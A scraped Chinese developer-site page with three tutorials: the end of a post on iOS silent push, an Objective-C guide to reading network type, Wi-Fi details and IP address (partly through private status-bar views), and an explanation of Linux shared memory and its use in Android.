        这是应用收到静默推送的回调方法,我们最多有30s的时间来处理数据,比如静默推送表示某个列表或资源有更新,你可以在此处下载数据,在下载处理完数据后需要尽快调用completionHandler(...)告诉系统处理完毕。

- (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo fetchCompletionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {

[Downloader fetchData:^(id x){ // 处理数据,更新UI 等

completionHandler(UIBackgroundFetchResultNewData);

}];

}


        如果这次是启动到后台的情况,调用completionHandler(...)后会使应用马上进入之前的状态。那就有可能遇到这样的问题:很多时候我们需要在启动时发送一堆业务上的API请求,如果这次静默推送没有数据需要下载和处理,就会刚把启动处的API请求发出,就调用了completionHandler(...),导致发出的这些请求在下次打开应用时显示超时。这种情况下我们可以强行延时下completionHandler(...)的调用,来保证能在这次收到那些API的返回。

dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{

completionHandler(UIBackgroundFetchResultNoData);

});



4. 静默推送


应用想收到静默推送需要满足的条件:

1.应用在前台/后台 (应用被杀死就收不到了)

2.应用实现了

application:didReceiveRemoteNotification:fetchCompletionHandler:/application:didReceiveRemoteNotification:

3. 消息定义时需设置:"content-available" = 1

流程:

  1. 移动端注册消息,向APNs服务器获取deviceToken,并提交给后台保存;

  2. 后台定义消息,并推送给APNs服务器。APNs根据deviceToken做分发。

  3. 移动端收到推送消息后的逻辑处理。

消息定义示例:

特殊说明:

1. APNS去掉alert、badge、sound字段实现静默推送,增加增加字段"content-available":1,也可以在后台做一些事情。

//静默推送消息格式

{

"aps":{

"alert":"",

"content-available":1

},

"userInfo":"test"

}


*/

小结:

1.应用在后台/前台/被杀死,都可以收到普通的远程推送

2.应用在后台/前台时,可以通过静默推送,修改一些数据

3.应用被杀死时(相当于应用已经被系统正当杀掉,而非用户双击Home键杀掉),可以通过Background Fetch短时间唤醒应用



作者:Aliv丶Zz
链接:https://www.jianshu.com/p/0275d9a9592b
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

iOS获取设备的网络状态(已适配iOS13,iOS14无变化)

iOS
前言 小编最近在项目中遇到了一个问题,除刘海屏以外的iOS设备可以正常的搜索到硬件设备,但是刘海屏就不行。因此,小编花了一点时间研究了一下iOS设备获取当前设备的网络状态。 实现 因为iOS的系统是封闭的,所以是没有直接的APi去获取当前的网络状态。但是道高一...
继续阅读 »

前言


小编最近在项目中遇到了一个问题,除刘海屏以外的iOS设备可以正常的搜索到硬件设备,但是刘海屏就不行。因此,小编花了一点时间研究了一下iOS设备获取当前设备的网络状态。


实现


因为iOS的系统是封闭的,所以是没有直接的APi去获取当前的网络状态。但是道高一尺,魔高一尺。开发者总会有办法获取自己想要的东西。


1.网络状态获取


获取当前的网络类型

获取当前的网络类型是通过获取状态栏,然后遍历状态栏的视图完成的。

先导入头文件,如下:

#import "AppDelegate.h"

实现方法如下:

+ (NSString *)getNetworkType
{
UIApplication *app = [UIApplication sharedApplication];
id statusBar = nil;
// 判断是否是iOS 13
NSString *network = @"";
if (@available(iOS 13.0, *)) {
UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].keyWindow.windowScene.statusBarManager;

#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wundeclared-selector"
if ([statusBarManager respondsToSelector:@selector(createLocalStatusBar)]) {
UIView *localStatusBar = [statusBarManager performSelector:@selector(createLocalStatusBar)];
if ([localStatusBar respondsToSelector:@selector(statusBar)]) {
statusBar = [localStatusBar performSelector:@selector(statusBar)];
}
}
#pragma clang diagnostic pop

if (statusBar) {
// UIStatusBarDataCellularEntry
id currentData = [[statusBar valueForKeyPath:@"_statusBar"] valueForKeyPath:@"currentData"];
id _wifiEntry = [currentData valueForKeyPath:@"wifiEntry"];
id _cellularEntry = [currentData valueForKeyPath:@"cellularEntry"];
if (_wifiEntry && [[_wifiEntry valueForKeyPath:@"isEnabled"] boolValue]) {
// If wifiEntry is enabled, is WiFi.
network = @"WIFI";
} else if (_cellularEntry && [[_cellularEntry valueForKeyPath:@"isEnabled"] boolValue]) {
NSNumber *type = [_cellularEntry valueForKeyPath:@"type"];
if (type) {
switch (type.integerValue) {
case 0:
// 无sim卡
network = @"NONE";
break;
case 1:
network = @"1G";
break;
case 4:
network = @"3G";
break;
case 5:
network = @"4G";
break;
default:
// 默认WWAN类型
network = @"WWAN";
break;
}
}
}
}
}else {
statusBar = [app valueForKeyPath:@"statusBar"];

if ([[[self alloc]init]isLiuHaiScreen]) {
// 刘海屏
id statusBarView = [statusBar valueForKeyPath:@"statusBar"];
UIView *foregroundView = [statusBarView valueForKeyPath:@"foregroundView"];
NSArray *subviews = [[foregroundView subviews][2] subviews];

if (subviews.count == 0) {
// iOS 12
id currentData = [statusBarView valueForKeyPath:@"currentData"];
id wifiEntry = [currentData valueForKey:@"wifiEntry"];
if ([[wifiEntry valueForKey:@"_enabled"] boolValue]) {
network = @"WIFI";
}else {
// 卡1:
id cellularEntry = [currentData valueForKey:@"cellularEntry"];
// 卡2:
id secondaryCellularEntry = [currentData valueForKey:@"secondaryCellularEntry"];

if (([[cellularEntry valueForKey:@"_enabled"] boolValue]|[[secondaryCellularEntry valueForKey:@"_enabled"] boolValue]) == NO) {
// 无卡情况
network = @"NONE";
}else {
// 判断卡1还是卡2
BOOL isCardOne = [[cellularEntry valueForKey:@"_enabled"] boolValue];
int networkType = isCardOne ? [[cellularEntry valueForKey:@"type"] intValue] : [[secondaryCellularEntry valueForKey:@"type"] intValue];
switch (networkType) {
case 0://无服务
network = [NSString stringWithFormat:@"%@-%@", isCardOne ? @"Card 1" : @"Card 2", @"NONE"];
break;
case 3:
network = [NSString stringWithFormat:@"%@-%@", isCardOne ? @"Card 1" : @"Card 2", @"2G/E"];
break;
case 4:
network = [NSString stringWithFormat:@"%@-%@", isCardOne ? @"Card 1" : @"Card 2", @"3G"];
break;
case 5:
network = [NSString stringWithFormat:@"%@-%@", isCardOne ? @"Card 1" : @"Card 2", @"4G"];
break;
default:
break;
}

}
}

}else {

for (id subview in subviews) {
if ([subview isKindOfClass:NSClassFromString(@"_UIStatusBarWifiSignalView")]) {
network = @"WIFI";
}else if ([subview isKindOfClass:NSClassFromString(@"_UIStatusBarStringView")]) {
network = [subview valueForKeyPath:@"originalText"];
}
}
}

}else {
// 非刘海屏
UIView *foregroundView = [statusBar valueForKeyPath:@"foregroundView"];
NSArray *subviews = [foregroundView subviews];

for (id subview in subviews) {
if ([subview isKindOfClass:NSClassFromString(@"UIStatusBarDataNetworkItemView")]) {
int networkType = [[subview valueForKeyPath:@"dataNetworkType"] intValue];
switch (networkType) {
case 0:
network = @"NONE";
break;
case 1:
network = @"2G";
break;
case 2:
network = @"3G";
break;
case 3:
network = @"4G";
break;
case 5:
network = @"WIFI";
break;
default:
break;
}
}
}
}
}

if ([network isEqualToString:@""]) {
network = @"NO DISPLAY";
}
return network;
}
获取当前的Wifi信息

获取当前的Wifi信息需要借助系统的SystemConfiguration这个库。
先导入头文件,如下:

#import <SystemConfiguration/CaptiveNetwork.h>

实现方法如下:

#pragma mark 获取Wifi信息
+ (id)fetchSSIDInfo
{
NSArray *ifs = (__bridge_transfer id)CNCopySupportedInterfaces();
id info = nil;
for (NSString *ifnam in ifs) {
info = (__bridge_transfer id)CNCopyCurrentNetworkInfo((__bridge CFStringRef)ifnam);

if (info && [info count]) {
break;
}
}
return info;
}
#pragma mark 获取WIFI名字
+ (NSString *)getWifiSSID
{
return (NSString *)[self fetchSSIDInfo][@"SSID"];
}
#pragma mark 获取WIFI的MAC地址
+ (NSString *)getWifiBSSID
{
return (NSString *)[self fetchSSIDInfo][@"BSSID"];
}
获取当前的Wifi信号强度

获取信号强度与获取网络状态有点类似,通过遍历状态栏,从而获取WIFI图标的信号强度。在获取前需注意当前状态是否为WIFI。如下:

+ (int)getWifiSignalStrength{

int signalStrength = 0;
// 判断类型是否为WIFI
if ([[self getNetworkType]isEqualToString:@"WIFI"]) {
// 判断是否为iOS 13
if (@available(iOS 13.0, *)) {
UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].keyWindow.windowScene.statusBarManager;

id statusBar = nil;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wundeclared-selector"
if ([statusBarManager respondsToSelector:@selector(createLocalStatusBar)]) {
UIView *localStatusBar = [statusBarManager performSelector:@selector(createLocalStatusBar)];
if ([localStatusBar respondsToSelector:@selector(statusBar)]) {
statusBar = [localStatusBar performSelector:@selector(statusBar)];
}
}
#pragma clang diagnostic pop
if (statusBar) {
id currentData = [[statusBar valueForKeyPath:@"_statusBar"] valueForKeyPath:@"currentData"];
id wifiEntry = [currentData valueForKeyPath:@"wifiEntry"];
if ([wifiEntry isKindOfClass:NSClassFromString(@"_UIStatusBarDataIntegerEntry")]) {
// 层级:_UIStatusBarDataNetworkEntry、_UIStatusBarDataIntegerEntry、_UIStatusBarDataEntry

signalStrength = [[wifiEntry valueForKey:@"displayValue"] intValue];
}
}
}else {
UIApplication *app = [UIApplication sharedApplication];
id statusBar = [app valueForKey:@"statusBar"];
if ([[[self alloc]init]isLiuHaiScreen]) {
// 刘海屏
id statusBarView = [statusBar valueForKeyPath:@"statusBar"];
UIView *foregroundView = [statusBarView valueForKeyPath:@"foregroundView"];
NSArray *subviews = [[foregroundView subviews][2] subviews];

if (subviews.count == 0) {
// iOS 12
id currentData = [statusBarView valueForKeyPath:@"currentData"];
id wifiEntry = [currentData valueForKey:@"wifiEntry"];
signalStrength = [[wifiEntry valueForKey:@"displayValue"] intValue];
// dBm
// int rawValue = [[wifiEntry valueForKey:@"rawValue"] intValue];
}else {
for (id subview in subviews) {
if ([subview isKindOfClass:NSClassFromString(@"_UIStatusBarWifiSignalView")]) {
signalStrength = [[subview valueForKey:@"_numberOfActiveBars"] intValue];
}
}
}
}else {
// 非刘海屏
UIView *foregroundView = [statusBar valueForKey:@"foregroundView"];

NSArray *subviews = [foregroundView subviews];
NSString *dataNetworkItemView = nil;

for (id subview in subviews) {
if([subview isKindOfClass:[NSClassFromString(@"UIStatusBarDataNetworkItemView") class]]) {
dataNetworkItemView = subview;
break;
}
}

signalStrength = [[dataNetworkItemView valueForKey:@"_wifiStrengthBars"] intValue];

return signalStrength;
}
}
}
return signalStrength;
}

2.Reachability的使用

下载开源类Reachability,然后根据文档使用即可(该类把移动网络统称为WWAN):+ (NSString *)getNetworkTypeByReachability

{
NSString *network = @"";
switch ([[Reachability reachabilityForInternetConnection]currentReachabilityStatus]) {
case NotReachable:
network = @"NONE";
break;
case ReachableViaWiFi:
network = @"WIFI";
break;
case ReachableViaWWAN:
network = @"WWAN";
break;
default:
break;
}
if ([network isEqualToString:@""]) {
network = @"NO DISPLAY";
}
return network;
}

上次发布了这篇文章之后,有人问我,怎么才能获取设备的IP地址呢?在这里,小编附上获取iP地址的方法。
先导入头文件,如下:

#import <ifaddrs.h>
#import <arpa/inet.h>

实现方法,如下:

#pragma mark 获取设备IP地址
+ (NSString *)getIPAddress
{
NSString *address = @"error";
struct ifaddrs *interfaces = NULL;
struct ifaddrs *temp_addr = NULL;
int success = 0;
// 检索当前接口,在成功时,返回0
success = getifaddrs(&interfaces);
if (success == 0) {
// 循环链表的接口
temp_addr = interfaces;
while(temp_addr != NULL) {
// 开热点时本机的IP地址
if ([[NSString stringWithUTF8String:temp_addr->ifa_name] isEqualToString:@"bridge100"]
) {
address = [NSString stringWithUTF8String:inet_ntoa(((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr)];
}
if(temp_addr->ifa_addr->sa_family == AF_INET) {
// 检查接口是否en0 wifi连接在iPhone上
if([[NSString stringWithUTF8String:temp_addr->ifa_name] isEqualToString:@"en0"]) {
// 得到NSString从C字符串
address = [NSString stringWithUTF8String:inet_ntoa(((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr)];
}
}
temp_addr = temp_addr->ifa_next;
}
}
// 释放内存
freeifaddrs(interfaces);
return address;
}


收起阅读 »

神奇的共享内存

前言 共享内存(shared memory)是最常见的ipc进程之间通讯的方式之一了,很多linux书籍上,都将共享内存评价为“最有用的ipc机制”,就连Binder机制盛行的android体系,同样也离不开共享内存的应用!在所以ipc方式中,共享内存以“快”...
继续阅读 »

前言


共享内存(shared memory)是最常见的ipc进程之间通讯的方式之一了,很多linux书籍上,都将共享内存评价为“最有用的ipc机制”,就连Binder机制盛行的android体系,同样也离不开共享内存的应用!在所以ipc方式中,共享内存以“快”赢得了很多开发者的掌声,我们下面深入看看!


共享内存相关函数


image.png
首先讲到共享内存,那么肯定离不开要介绍几个函数


shmget


int shmget(key_t key, size_t size, int shmflg);

shmget函数用来获取一个内存区的ipc标识,这个标识在内核中,属于一个身份标识符号(ipc标识符,正常情况下是不会重复的,但是标识符也有限制的,比如linux2.4最大为32768,用完了就会重新计算),通过shmget调用,会返回给我们当前的ipc标识,如果这个共享内存区本来就不存在,就直接创建,否则就把当前标识直接返回给我们!说了一大堆,其实很简单,就相当于给我们返回了一个代表该共享内存的标识罢了!


shmat


void *shmat(int shmid, const void *shmaddr, int shmflg);

shmat把一个共享内存区域添加到进程上,我们之前在mmap这一章节有提到过线性区的概念,就是进程可用的一组地址(可以用,但是用的时候才真正分配),而shmat就把共享内存的这块地址,通过(shmid shmget可以获取到的)放到了进程中的可用地址范围内,用范围内的合适地址(shmaddr这里指进程想要发生映射的可用地址)指向了共享内存实际的地址,可以见上图!


shmdt


int shmdt(const void *shmaddr);

用于从当前进程把指定的共享内存shmaddr地址分离出去,这里只是分离,只是从当前进程中不可见了,但是对于其他进程来说,还是依旧存在的,再拿上面的图举例子,如果进程1中调用了shmadt,那么当前状态就如下图所示


image.png
同时这里有个非常需要注意的点,就是就算共享内存没有被其他任何进程使用,它所占有的页也是不能直接被删除的,只能用“页的换出”操作代替不用的页(留个疑问,后文解析)


image.png
当然,为了避免用户态过程中共享内存的过分创建,一般的限制大小为4096个


共享内存本质


看到这里的朋友,包括我,一定会想问,共享内存最本质是个什么东西呀?为什么linux会创建处理这么一个神奇的东西?在这里我可以告诉大家,共享内存其实就是一个“文件”!不光如此,我们所熟知的ipc方式,比如管道,消息队列,共享内存,其实就是对文件的操作!我的天,我们嗤之以鼻的“文件”,最不起眼不被用的ipc方式,只是换了个名称,就让大家高攀不起了!是的,共享内存的本质,其实就是shm特殊文件系统的一个文件罢了!因为shm文件系统在linux系统中没有安装点,即没有可视化的文件路径,普通用户无法“看到”或者“摸到”,就给我们产生了一个错觉,以为是一个很高深的东西,其实并没有啦!一个共享内存,其实就是一个文件,只不过这个文件我们看不到罢了,但是linux内核能看到,就这么简单!(以后面试官问到ipc有哪些,回答“文件”即可哈哈哈,手动狗头)


那么接下来又有一个问题了,为什么一个文件能有这么大的奇效,我们常说的共享内存只需要一次拷贝(假如进程a写入到进程b可见算一次)呀,面试官还经常问我们呢!一个小小文件怎么做到的?没错,没错!就是mmap搞得鬼呀!属于共享内存的这个文件,在进程中其实就是使用了mmap操作,把进程的地址映射到了这个文件,所以写入一次就对其他同样进行mmap的进程可见罢了!这个mmap,是通过shm_mmap函数实现的(细节可看官网,这里就不贴出来了)最后我们再看一下共享内存的核心数据结构,shmid_kernel


struct shmid_kernel /* private to the kernel */
{
struct kern_ipc_perm shm_perm; //描述进程间通信许可的结构
struct file * shm_file; //指向共享内存文件的指针
unsigned long shm_nattch; //挂接到本段共享内存的进程数
unsigned long shm_segsz; //段大小
time_t shm_atim; //最后挂接时间
time_t shm_dtim; //最后解除挂接时间
time_t shm_ctim; //最后变化时间
pid_t shm_cprid; //创建进程的PID
pid_t shm_lprid;//最后使用进程的PID

....
};

共享内存页回收问题


我们刚刚留下了一个疑问点,就是共享内存的页就算没有进程引用,也不能被直接删除,而是采用换出的方式!为什么不能被删除呢?因为在正常情况下,linux内核中对于页删除有比较严格的判断,页被删除的前提需要页被标记被脏,触发磁盘写回的操作,然后才会从删除这个页!但是共享内存的页其实在磁盘上是没有存在映射的索引节点的,因此写回磁盘这个操作前提就不成立,所以正常的处理是这个页会被保留,但是页的内容会被其他有需要的页的“伙伴”被复用,做到只是数据的删除页不删除!这是需要注意的点!当然,在紧急内存不足的情况下,系统也会调用try_to_swap_out方法,回收一般页,但是共享内存的页会有定制的shmem_write_page,会进行页的copy操作,防止了属于共享内存的页被“直接删除”。


Android中的共享内存


Android中也有很多地方用到了共享内存,比如ContentProvider中数据的交换,比如CursorWindow的数据交换,里面其实就是利用了共享内存。还有就是传递给SurfaceFlinger的渲染数据,也就是通过共享内存完成的。之所以使用共享内存,还是得益于共享内存的设计,效率较高且没有像管道这种多拷贝的情况,不使用Binder是也是因为Binder依赖的Parcel数据传输,在大数据上并没有很大的优势!当然,相比于Binder,共享内存算是作为最底层api,并没有提供同步机制!当然,Binder同时也用了mmap(binder_mmap),在这基础上通过mutex_lock进行了同步机制,算是比共享内存有了更加契合Android的设计


image.png


总结


看完这里,应该都会用共享内存进行我们所需的开发了,无论是Binder还是共享内存,只有在合适自己的场合使用,才能获得最大收益!最后!


image.png


作者:Pika
链接:https://juejin.cn/post/7131333107696795678
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »